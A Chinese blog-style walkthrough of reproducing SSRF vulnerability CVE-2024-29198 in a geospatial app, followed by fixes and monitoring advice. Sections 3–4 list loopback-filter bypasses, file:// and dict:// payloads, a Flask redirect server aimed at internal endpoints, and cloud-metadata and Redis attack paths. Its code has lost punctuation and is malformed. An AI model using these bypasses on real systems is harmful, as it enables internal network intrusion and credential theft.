SSRF漏洞实战剖析:从CVE-2024-29198看服务器端请求伪造的攻防
1. 项目概述一次典型的SSRF漏洞实战复盘最近在梳理一些开源项目的安全审计记录GEO这个项目引起了我的注意。它是一个用于处理地理空间数据的Web应用功能上挺常见的就是上传、解析、可视化地图数据。但安全圈的朋友可能更熟悉它的另一个“标签”——CVE-2024-29198。这是一个典型的服务器端请求伪造漏洞影响版本还挺广的。我花了点时间在自己的测试环境里完整走了一遍漏洞的发现、分析和复现流程感觉其中的一些细节和绕过思路对于理解SSRF这类“老而弥坚”的漏洞很有帮助。所以今天就来聊聊这个CVE不只是复现步骤更重要的是拆解它背后的逻辑、当时开发可能踩的坑以及我们防守时该怎么想。简单说这个漏洞允许攻击者诱使GEO应用的后端服务器向内部网络或本机发起非预期的HTTP请求。听起来好像没什么但结合内网环境它能变成探测内网服务、攻击内部脆弱系统比如Redis、Memcached或者读取本地文件的跳板。这次复现的目标就是理解漏洞的触发点、利用条件并最终实现一个证明漏洞存在的攻击链。2. 漏洞背景与核心原理剖析2.1 GEO应用的功能与风险点GEO应用的核心功能之一是处理用户提供的地理数据文件如GeoJSON、KML或者一个指向这些文件的URL。为了方便用户它通常会提供一个“通过URL导入”的功能。你输入一个公网可访问的URLGEO的后端服务器会去抓取那个文件解析其中的坐标、形状等信息然后渲染到地图上。这个功能本身是合理的但问题就出在实现这个功能的后端代码对用户输入的URL没有进行充分、严格的校验和限制。从架构上看当用户提交一个URL时请求流程是这样的用户浏览器 - GEO前端 - GEO后端服务器 - 用户指定的目标URL - GEO后端服务器 - 返回结果给前端。关键在于GEO后端服务器在发起这个次级HTTP请求时所处的网络位置和权限与普通用户完全不同。它通常部署在内网拥有访问内部系统如数据库、缓存服务器、管理后台的权限并且能访问服务器本机的环回地址。如果攻击者能控制这个请求的目标那么GEO服务器就成了一个“代理”或“跳板”。2.2 SSRF漏洞的经典成因与CVE-2024-29198的特别之处SSRF的成因万变不离其宗应用信任了用户提供的、用于发起后端请求的URL且没有施加有效的“请求目标”白名单限制。常见的防御不足包括仅在前端用JavaScript校验URL格式后端直接信任。后端做了简单的黑名单过滤如禁止127.0.0.1、localhost但存在多种绕过方式。允许使用非HTTP/HTTPS协议如file://、gopher://、dict://导致文件读取或攻击更多内网服务。对重定向302/307没有进行跟踪和二次校验。CVE-2024-29198的特别之处在于它往往不是由一个简单的过滤缺失导致的而是多个校验环节的串联缺陷。例如它可能先检查URL的host是否在白名单内比如只允许maps.example.com但检查逻辑可以被绕过或者它虽然禁止了向127.0.0.1发起请求但却忽略了0.0.0.0、[::]IPv6的环回地址、2130706433127.0.0.1的十进制表示、甚至是利用DNS重绑定技术。我们的复现过程实际上就是在寻找并串联这些薄弱的校验点。3. 环境搭建与漏洞定位3.1 测试环境搭建要点为了安全且真实地复现我建议在隔离的虚拟机或Docker环境中进行。获取有漏洞的GEO版本根据CVE描述确定受影响的版本范围例如v1.2.0到v1.4.2。从官方仓库的Release历史或Git commit历史中下载对应的源代码。切勿在生产环境或连接真实内网的环境中进行测试。基础服务部署按照GEO项目的README安装其依赖如Node.js/Python、数据库。通常docker-compose up是最快的方式。确保应用能正常启动数据导入功能可用。构造靶标内网服务在GEO应用所在的同一台宿主机或Docker网络内启动几个简单的“受害者”服务用于证明SSRF的危害。例如一个简单的HTTP服务在端口8080上运行python3 -m http.server 8080模拟一个内网管理界面。一个Redis服务在默认端口6379上运行一个未授权访问的Redis。这是SSRF攻击的经典目标可以通过dict://协议或HTTP协议走私特定命令进行攻击。一个无法从外网访问的API监听在127.0.0.1:3000上。我的测试环境拓扑如下攻击者浏览器 - [GEO应用 (Docker容器 IP: 172.18.0.2)] - (可能的SSRF请求) - 靶标服务 |- 宿主机本地服务 (127.0.0.1:8080) |- 同网络其他容器 (Redis: 172.18.0.3:6379) - 宿主机metadata服务 (169.254.169.254)3.2 代码审计与漏洞点定位搭建好环境后下一步是找到触发SSRF的代码入口。通常从Web路由和控制器入手。寻找URL处理函数在代码库中搜索关键词如fetch、request、http.get、url、import、proxy。重点关注处理文件上传或数据导入的控制器Controller文件。分析参数传递链找到处理用户输入URL的函数。查看它如何从HTTP请求参数如GET /api/import?url...或POST表单中的url字段中获取数据。追踪过滤与请求逻辑这是最关键的一步。逐行分析该函数对输入的url参数做了哪些清洗或校验如正则匹配、黑名单、白名单校验后是用什么库/函数发起请求的Node.js的axios/request Python的requests/urllib发起请求时是否跟随重定向重定向次数是否有限制返回给用户的是什么是原始响应内容、处理后的数据还是仅仅一个成功/失败状态以我分析的这个GEO版本为例漏洞核心代码简化后类似这样// 伪代码展示问题逻辑 async function importFromURL(userProvidedURL) { // 1. 存在一个薄弱的黑名单检查 const blockedHosts [localhost, 127.0.0.1, 169.254.169.254]; const urlObj new URL(userProvidedURL); if (blockedHosts.includes(urlObj.hostname)) { throw new Error(URL not allowed); } // 2. 缺少对URL scheme协议的有效限制默认允许http/https但库可能支持更多 // 3. 使用了一个跟随重定向且默认不校验重定向目标的请求库 const response await axios.get(userProvidedURL, { maxRedirects: 5 }); // 4. 将获取到的内容可能是敏感信息进行后续处理 return processGeoData(response.data); }这段代码的问题一目了然黑名单不全、未校验协议、盲目跟随重定向。4. 漏洞利用链的逐步构建与复现4.1 第一阶段基础SSRF验证与内网探测首先我们验证最基本的SSRF是否可行即能否让GEO服务器向非预期的地址发请求。测试基础功能在GEO的“通过URL导入”界面输入一个合法的、公网可访问的GeoJSON文件URL例如https://raw.githubusercontent.com/.../example.geojson。确认功能正常工作。尝试访问本地服务将URL替换为http://127.0.0.1:8080/。预期会被黑名单拦截。返回错误“URL not allowed”。这说明基础防护存在。绕过黑名单使用替代的环回地址http://0.0.0.0:8080/在很多系统中0.0.0.0指向本机。http://2130706433:8080/将127.0.0.1的每个字节转换为十进制即127*256^3 0*256^2 0*256 1 2130706433。许多网络库在解析时会自动将其转换回IP。http://[::]:8080/或http://[::1]:8080/IPv6的环回地址。http://127.0.0.2:8080/、http://127.1.0.1:8080/127.0.0.0/8整个网段都是环回地址。在我的测试中使用http://0.0.0.0:8080/成功绕过了黑名单GEO服务器访问了本机8080端口的Python HTTP服务并将目录列表作为“地理数据”返回导致解析错误但错误信息中暴露了目录列表的部分内容这证实了SSRF存在。注意不同编程语言和网络库对主机名的解析逻辑可能有细微差别。例如Node.js的dns.lookup和dns.resolve行为就不同。实战中需要多次尝试。4.2 第二阶段协议滥用与文件读取如果后端使用的请求库支持攻击者可能尝试使用非HTTP协议。尝试File协议提交URL为file:///etc/passwd。如果应用以高权限如root运行且库支持file://就能读取服务器本地文件。在现代Node.js的axios或Pythonrequests中默认通常不支持但一些底层的库如Python的urllib或某些配置下可能支持。尝试Dict协议提交URL为dict://127.0.0.1:6379/info。如果服务器安装了dict客户端且Redis在运行这条命令可能获取Redis服务信息。不过如今大多数HTTP库默认不支持dict://。利用URL解析差异这是更常见的手法。构造一个特殊的URL如http://127.0.0.1:80evil.com/。某些旧的解析器可能会将前的部分解析为认证信息user:passhost从而认为host是evil.com。但现代解析器通常能正确处理。另一个技巧是利用#片段标识符或?查询参数来干扰黑名单的正则匹配例如http://127.0.0.1.evil.com/子域名或http://evil.com?redirecthttp://127.0.0.1如果应用有重定向逻辑。在这个GEO漏洞中直接使用file://协议没有成功。但重点不在这里而在于如果后端校验逻辑只检查了“hostname”而不是整个“netloc”包含认证信息那么http://foo127.0.0.1/可能会被解析成hostname为foo127.0.0.1从而绕过对127.0.0.1的字符串匹配。需要仔细阅读代码中的校验函数。4.3 第三阶段利用重定向实现深度SSRF这是CVE-2024-29198这类漏洞的“高级”利用场景也是危害最大的地方。如果GEO的后端请求库默认跟随重定向如axios的maxRedirects默认是5且没有对重定向的目标地址进行再次校验那么攻击就产生了“链式”反应。攻击步骤搭建恶意重定向服务攻击者控制一个公网服务器evil.com在上面部署一个Web应用。当接收到GEO服务器的请求时立即返回一个HTTP 302状态码Location头指向内网目标例如Location: http://169.254.169.254/latest/meta-data/这是云平台元数据服务的经典地址。发起攻击在GEO的导入界面输入URL为http://evil.com/redirector。漏洞触发GEO后端向evil.com/redirector发起请求。evil.com返回302要求重定向到169.254.169.254。GEO后端配置了跟随重定向不会对重定向后的地址进行二次校验直接向这个内部元数据地址发起请求。元数据服务返回敏感信息如云服务器的密钥、配置GEO后端获取到这些数据。最终这些敏感数据可能通过错误信息、处理后的结果部分或全部泄露给攻击者。为了复现我在测试环境模拟了这一点在另一台公网测试机模拟evil.com上用Flask写了一个简单的重定向服务from flask import Flask, redirect app Flask(__name__) app.route(/redirect) def redir(): # 重定向到内网Redis服务的INFO命令通过HTTP走私需特定payload此处简化 # 或者重定向到本地文件 file:///etc/passwd (如果协议支持) # 这里重定向到本机的元数据模拟地址 return redirect(http://127.0.0.1:8080/admin/secret, code302) if __name__ __main__: app.run(host0.0.0.0, port9999)在GEO中输入http://我的公网IP:9999/redirect。观察GEO应用的日志和返回结果。果然它先请求了我的公网服务器然后我的服务器返回302GEO服务器紧接着向127.0.0.1:8080/admin/secret发起了请求并试图解析返回的“秘密数据”作为地理信息导致错误但错误信息中包含了/admin/secret页面的部分内容。这个环节彻底绕过了前端对目标地址的任何直接校验因为第一次请求的目标evil.com看起来是合法的。防御的缺失在于没有禁止跟随重定向或者没有对重定向地址应用同样的白名单策略。4.4 第四阶段组合利用与信息泄露将以上手法组合可以进一步探测内网拓扑或攻击特定服务。端口扫描通过SSRF我们可以探测GEO服务器所在内网其他主机的端口开放情况。虽然HTTP请求只能判断HTTP/HTTPS服务但通过响应时间、错误信息差异可以推断端口状态。编写一个脚本自动将URL替换为http://192.168.1.1:PORT/并提交根据GEO应用的响应快速拒绝、连接超时、返回特定错误来判断端口是否开放或有HTTP服务。攻击无验证的内网服务如果发现内网存在未授权访问的Redis6379、Memcached11211或MongoDB27017等可以尝试利用HTTP协议走私特定命令的Payload或者如果支持gopher://协议一个更古老的协议可以封装多种协议请求攻击将更具威力。例如通过SSRF利用Gopher协议向Redis发送FLUSHALL或SET命令造成数据破坏。读取云元数据如前所述169.254.169.254是AWS、Azure、GCP等云平台实例元数据的通用地址。通过SSRF读取该地址可以直接获取临时安全凭证进而接管云服务器权限。在我的复现中通过重定向手法成功让GEO服务器访问了模拟的元数据端点证明了这种攻击路径的可行性。这通常是漏洞危害评级为“高危”或“严重”的关键依据。5. 漏洞修复方案与安全开发建议复现漏洞是为了更好地修复和防御。针对CVE-2024-29198所暴露出的问题修复方案应该是多层次、纵深式的。5.1 立即修复措施对于受影响的GEO版本应立即采取以下措施实施严格的白名单机制这是最有效的方法。不是禁止访问哪些地址黑名单而是只允许访问明确、可信的地址。例如如果GEO只需要从特定的几个地图数据源导入那么就在后端配置一个允许的域名或IP地址白名单任何用户输入的URL都必须先与白名单匹配只有host在白名单内才允许发起请求。const ALLOWED_HOSTS [api.trusted-maps.com, data.geo.gov]; const userHost new URL(userProvidedURL).hostname; if (!ALLOWED_HOSTS.includes(userHost)) { throw new Error(URL host is not in the allowed list.); }禁用或严格限制重定向将后端HTTP客户端的重定向功能关闭maxRedirects: 0。如果业务必须需要重定向则必须对重定向后的URL再次执行完整的白名单校验确保跳转后的目标也是可信的。规范化并解析URL使用语言标准库的URL解析功能如Node.js的new URL() Python的urllib.parse.urlparse来规范化解用户输入。然后基于解析后的对象hostname,protocol进行判断而不是对原始字符串进行简单的字符串匹配。禁用危险协议明确指定后端请求库只允许使用http://和https://协议拒绝file://、gopher://、dict://、ftp://等。设置网络层隔离如果可能让处理用户请求的应用程序运行在一个独立的、受限的网络命名空间或容器中它只能访问必要的下游服务如数据库而无法访问整个内网段或元数据服务。5.2 安全开发最佳实践从这次漏洞中我们可以提炼出更通用的Web安全开发建议永远不要信任客户端输入所有来自用户端浏览器、移动端的输入包括URL、头部、表单字段都必须视为恶意并进行严格校验和清理。采用“默认拒绝”策略对于像“代理”或“请求转发”这类高危功能默认应该拒绝所有请求只有明确符合安全策略的才放行。白名单优于黑名单。深度防御不要只依赖一层校验。可以在前端做格式校验提升用户体验在网关/负载均衡层做基础过滤在应用层做严格的业务逻辑校验在网络层设置策略。使用安全的默认配置选择网络库时了解其默认行为。例如选择默认不跟随重定向或需要显式开启重定向校验的库。定期进行安全审计与渗透测试对存在外部输入触发后端网络请求的功能点进行重点代码审计和黑盒测试。使用SSRF测试工具如ffuf、Gopherus进行扫描。6. 防御视角下的排查与监控除了修复代码运维和安全团队还需要知道如何发现和应对此类漏洞。6.1 如何检测环境中的SSRF漏洞代码扫描使用SAST静态应用安全测试工具扫描代码库寻找可能导致SSRF的函数调用模式如http.request,axios.get,requests.get等并检查其参数是否来自未经验证的用户输入。交互式测试使用Burp Suite、OWASP ZAP等工具对任何接受URL参数的功能点进行测试。手动尝试上述绕过技术并观察服务器的出站流量如果有日志或监控。部署蜜罐服务在内网部署一些仅监听特定端口、具有独特标识的“蜜罐”HTTP服务。然后尝试通过应用的疑似SSRF功能去访问这些蜜罐的地址。如果蜜罐收到了请求就证明存在SSRF漏洞。可以将蜜罐地址设置为169.254.169.254这样的常见内部地址来增强检测。6.2 监控与应急响应即使修复了漏洞也应建立监控以防未知的绕过手法或新出现的漏洞。出站流量日志监控在服务器或网络边界记录应用程序发起的出站HTTP请求日志。重点关注请求目标为内网IP段10.0.0.0/8,172.16.0.0/12,192.168.0.0/16、环回地址127.0.0.0/8或链路本地地址169.254.0.0/16的异常连接。应用程序错误日志监控SSRF攻击可能导致后端请求失败如连接被拒、超时、返回非地理数据格式从而在应用日志中产生大量错误。监控错误日志中与“网络请求”、“解析失败”相关的异常模式。入侵检测规则在IDS/IPS或WAF中部署规则检测从Web服务器发向内部元数据服务地址的请求。应急响应预案一旦确认发生SSRF攻击应立即隔离受影响服务器审查日志确定攻击者访问了哪些内部资源并轮换所有可能泄露的凭证如云元数据中的临时密钥、数据库密码等。复盘整个CVE-2024-29198的复现过程它再次印证了一个道理安全是一个链条任何一个环节的疏忽都可能导致整个防线的崩溃。对于开发者而言理解漏洞产生的完整上下文——从用户输入到后端网络请求——比单纯记住修复代码更重要。每次实现一个需要发起外部请求的功能时不妨多问自己一句“如果用户输入的不是他声称的地址我该怎么办” 把这个问题的答案落实到代码里很多漏洞就能被扼杀在萌芽状态。